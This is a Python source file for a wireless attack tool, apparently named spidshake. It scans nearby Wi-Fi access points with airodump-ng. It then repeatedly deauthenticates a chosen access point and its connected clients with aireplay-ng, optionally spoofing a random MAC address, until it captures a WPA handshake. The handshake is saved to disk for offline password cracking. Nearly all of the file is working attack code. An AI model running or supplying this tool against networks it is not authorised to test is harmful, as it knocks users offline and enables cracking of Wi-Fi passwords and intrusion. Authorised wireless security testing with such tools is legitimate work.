import xml.etree.ElementTree as ET
import prettytable
import subprocess
import threading
import argparse
import time
import xml
import sys
import os
import re

# default values
gaps  = None
TDIR  = '/tmp/wcrack'
TARGS = None
TVARS = {
	'handshake': False
}

def she(c,debug=False):
	try:
		return subprocess.check_output(c,shell=True).decode('utf8','ignore').strip()
	except Exception as e:
		if debug:
			print(str(e))
		return None

def main():
	# yes, we use a global variable
	# to get the program arguments
	global TARGS
	parser = argparse.ArgumentParser(description='The faster WPA Handshake capturer on Kali')
	parser.add_argument('--dry-run', action='store_true', help="Don't do deauth attacks, just show how it would run")
	parser.add_argument('-m', '--random-mac', action='store_true', help="Randomize your MAC address at start (keeping vendor bits)")
	parser.add_argument('-fa', '--force-attack', action='store_true', help="Deauths the AP before looking for connected clients")
	parser.add_argument('-f', '--force', action='store_true', help='Continue on program exceptions that might ocurr, but are not critical')
	parser.add_argument('-ex', '--exclude-conf', action='store_true', help="Exclude ESSIDs by regex reading /etc/spidshake/exclude.conf")
	reqgroup = parser.add_argument_group('required arguments')
	reqgroup.add_argument('-i','--interface', type=str, required=True, help="Interface on monitor mode to be used")
	parser.add_argument('-sm','--show-max', default=12, type=int, help="Maximum Access Points to display on screen")
	TARGS = parser.parse_args(sys.argv[1:])

	# make the tmp dir
	os.system('mkdir -p {}'.format(TDIR))

	# the netxml file to read
	apdata = []
	nxmlfile = '{}/airodump-01.kismet.netxml'.format(TDIR)

	# start dumping ap data
	airodump_all()

	def render_access_points(apdata):
		if len(apdata) > 0:
			tb = prettytable.PrettyTable(['CH','BSSID','PW','C','#','ESSID'])
			i = 0
			for ap in apdata:
				tb.add_row([ap['channel'], ap['bssid'][-8:], \
					ap['signal'], len(ap['clients']), i, ap['essid']])
				i += 1
			print(tb)

	# show aps indefinetly
	li = 0
	while True:
		try:
			# get access point data
			apdata = get_ap_data(nxmlfile)

			os.system('clear')
			render_access_points(apdata)
			time.sleep(0.5)
			li += 1

		except KeyboardInterrupt:
			# if no access points, we quit
			if len(apdata) == 0:
				return 0

			# select the desired AP
			os.system('clear')
			render_access_points(apdata)
			select = 0
			try:
				select = int(input('[[ Select AP index ]]: ').strip())
			except ValueError:
				continue

			# if index is correct, start attacking
			if len(apdata) > 0 and select >= 0 and select < len(apdata):
				ap_attack(nxmlfile, apdata, select)
				airodump_all()

def randomize_mac():
	if TARGS.random_mac:
		os.system('ifconfig {} down'.format(TARGS.interface))
		# fully random macs don't usually work on deauthing, they are ignored
		# so we set a fully random mac, but leaving the vendor bits unchanged
		os.system('macchanger -r -e {} 2>&1 | tail -n1'.format(TARGS.interface))
		os.system('ifconfig {} up'.format(TARGS.interface))

# use airodump-ng to capture all APs in
# netxml format (2.4GHZ support only, yet)
def airodump_all():
	# yes, we kill all airodump-ng
	os.system('pkill -9 airodump-ng')
	os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
	os.system('airodump-ng {} -a -M -w {}/airodump --write-interval 1 --band a --output-format netxml --channel 1-14 -K 1 > /dev/null 2>&1 &'\
		.format(TARGS.interface, TDIR))

# use airodump-ng with bssid and channel config
# to get clients and attack easier and faster
# pcap format added to check handshakes
def airodump_bssid(bssid,channel):
	 # yes, we kill all airodump-ng
	os.system('pkill -9 airodump-ng')
	os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
	os.system("""
airodump-ng {} --bssid {} -a -M -w {}/airodump --write-interval 1 --band a --cswitch 2 --output-format pcap,netxml --channel {} -K 1 > /dev/null 2>&1 &
""".format(TARGS.interface, bssid, TDIR, channel))

# filter ap by bssid in aps
def ap_get_by_bssid(aps, bssid):
	for ap in aps:
		if ap['bssid'] == bssid:
			return ap
	return None

# do the access point attack
def ap_attack(f, aps, index):
	global thstop
	global atls
	hashake = False
	thstop = False
	thattack = None
	atls = []
	try:
		sap = aps[index]

		# start capturing bssid traffic with specific channel
		airodump_bssid(sap['bssid'], sap['channel'])
		while True:
			try:
				# ap index will certainly change in our implementation
				# we need to search the new given aps to match bssid
				ap = aps[index]
				if ap['bssid'] != sap['bssid']:
					ap = ap_get_by_bssid(aps, sap['bssid'])
			except IndexError:
				ap = ap_get_by_bssid(aps, sap['bssid'])
			if ap is None:
				print('FATAL: cannot retrieve AP data!')
				return 1

			# print the ap details and
			# the connnected clients
			os.system('clear')
			if (TARGS.force_attack and thattack is None) or (len(ap['clients']) > 0 and thattack is None):
				thattack = threading.Thread(target=ap_attack_do_clients)
				thattack.start()

			print('>>>>>>>>')
			print('{}; channel: {}'.format(ap['essid'], ap['channel']))
			print('{}\t{}\t{}'.format(ap['bssid'], ap['signal'], ap['vendor']))
			for cli in ap['clients']:
				print('--¬ {}\t{}\t{}'.format(cli['mac'], cli['signal'], cli['vendor']))

			# print attack info lines
			print()
			for l in atls:
				print(l)

			# check for handshake
			if TVARS['handshake']:
				hsfile = 'hs/handshake_{}.cap'.format(sap['essid'])
				os.system('mkdir -p hs/')
				os.system("cp {}/airodump-01.cap '{}'".format(TDIR, hsfile))
				input('## handshake: YES / saved on {}'.format(hsfile))
				TVARS['handshake'] = False
				thstop = True
				return 0

			# sleep and re-obtain, show handshake status
			print('## handshake: {}'.format('NO' if not TVARS['handshake'] else 'YES'))
			time.sleep(0.5)
			aps = get_ap_data(f)
			global gaps
			gaps = aps

			# don't know why i did this, but works?
			while len(aps) == 0:
				aps = get_ap_data(f)
				time.sleep(0.5)
	
	except KeyboardInterrupt:
		thstop = True
		print('INFO: returing to ap listing')
		time.sleep(1)

# thread to attack clients and ap
# while showing them in the main thread
def ap_attack_do_clients():
	global thstop
	global gaps
	global atls
	atls = []
	hashake = False
	while True:
		if not gaps is None and not len(gaps) == 0:
			break
		time.sleep(0.5)
		if thstop:
			return 0

	# explanation:
	# attack n times, each n seconds
	# @ An array of values
	times = [
		[1,6],
		[2,15],
		[2,20],
		[3,30],
		[3,45],
		[4,60]
	]

	# do it all, baby
	for ti in times:
		gap = None
		if len(gaps) == 1:
			gap = gaps[0]
		if gap is None:
			print('FATAL: no access point or clients to attack')
			return 1

		randomize_mac(); time.sleep(0.5)
		execrt('aireplay-ng --ignore-negative-one -0 {} -a {} {} 2>&1 &'.format( ti[0], gap['bssid'], TARGS.interface ))
		atls.append('== deauth {} broadcast => {}'.format(ti[0], gap['bssid']))
		for cl in gap['clients']:
			if cl['signal'] < 0:
				execrt('aireplay-ng --ignore-negative-one -0 {} -a {} -c {} --deauth-rc=2 {} 2>&1 &'.format(\
					ti[0], gap['bssid'], cl['mac'], TARGS.interface ))
				atls.append('== deauth {} client {} {}'.format(ti[0], cl['mac'], cl['vendor']))
			else:
				atls.append('== deauth client skip {} {}'.format(cl['mac'], cl['vendor']))
		i = 0
		while i < ti[1]:
			print('{}/{}'.format(i+1,ti[1]))
			if ap_check_has_handshake():
				TVARS['handshake'] = True
				return 2
			time.sleep(1)
			if thstop:
				return 0
			i += 1

	atls.append('FATAL: Attack did not succeed')

def execrt(cmd):
	if not TARGS.dry_run:
		os.system(cmd)
	return 'X: {}'.format(cmd)

def ap_check_has_handshake():
	try:
		out = subprocess.check_output(\
			"aircrack-ng {}/airodump-01.cap 2>/dev/null | grep -o -P '\d+(?=\shandshake)'".format(TDIR), shell=True)\
				.decode('utf8','ignore').strip()
		return int(out) > 0
	except FileNotFoundError:
		return False
	except subprocess.CalledProcessError:
		return False

# get all access point data needed (including associated clients)
def get_ap_data(f):

	c = None
	try:
		c = open(f,'r').read()
		# sanitize xml (improper essids...)
		c = re.sub(r'(?<=\&\#[^\s])\s+(?=[^\s]+;)','',c)
		c = re.sub(r'\&\#[^;]+;','',c)
		root = ET.fromstring(c)
	except FileNotFoundError as e:
		return []
	except xml.etree.ElementTree.ParseError as e2:
		if TARGS.force:
			return []
		if not str(e2).startswith('no element found'):
			print(str(e2))
			sys.exit(1)
		return []

	js = []

	# iterate all network access points
	exclude = []
	if TARGS.exclude_conf:
		try:
			with open('/etc/spidshake/exclude.conf','r') as r:
				exclude = r.read().strip().splitlines()
		except FileNotFoundError:
			exclude = []
	def is_excluded(essid, exls):
		for reg in exls:
			if re.match(reg, essid):
				return True
		return False

	for net in root.findall('wireless-network'):
		if net.find('SSID'):
			item = {
				'essid': net.find('SSID').find('essid').text,
				'bssid': net.find('BSSID').text,
				'vendor': net.find('manuf').text,
				'channel': int(net.find('channel').text),
				'beacons': int(net.find('SSID').find('packets').text),
				'enctypes': [it.text for it in net.find('SSID').findall('encryption')],
				'signal': int(net.find('snr-info').find('last_signal_dbm').text),
				'clients': [],
			}

			if len(item['enctypes']) == 1 and item['enctypes'][0] == 'None':
				continue

			for cli in net.findall('wireless-client'):
				client = {
					'mac': cli.find('client-mac').text,
					'vendor': cli.find('client-manuf').text,
					'channel': int(cli.find('channel').text),
					'signal': int(cli.find('snr-info').find('last_signal_dbm').text),
				}
				item['clients'].append(client)
			item['clients'] = sorted(item['clients'], key=lambda x: x['signal'], reverse=True)
				
			if not item['essid'] is None:
				if not TARGS.exclude_conf or not is_excluded(item['essid'], exclude):
					js.append(item)

	# order them by signal (dBm)
	js = sorted(js, key=lambda x: x['signal'], reverse=True)
	if len(js) > TARGS.show_max:
		return js[:TARGS.show_max]
	return js

if __name__ == '__main__':
	try:
		main()
		os.system('pkill -9 airodump-ng')
	except KeyboardInterrupt:
		print('INFO: aborted')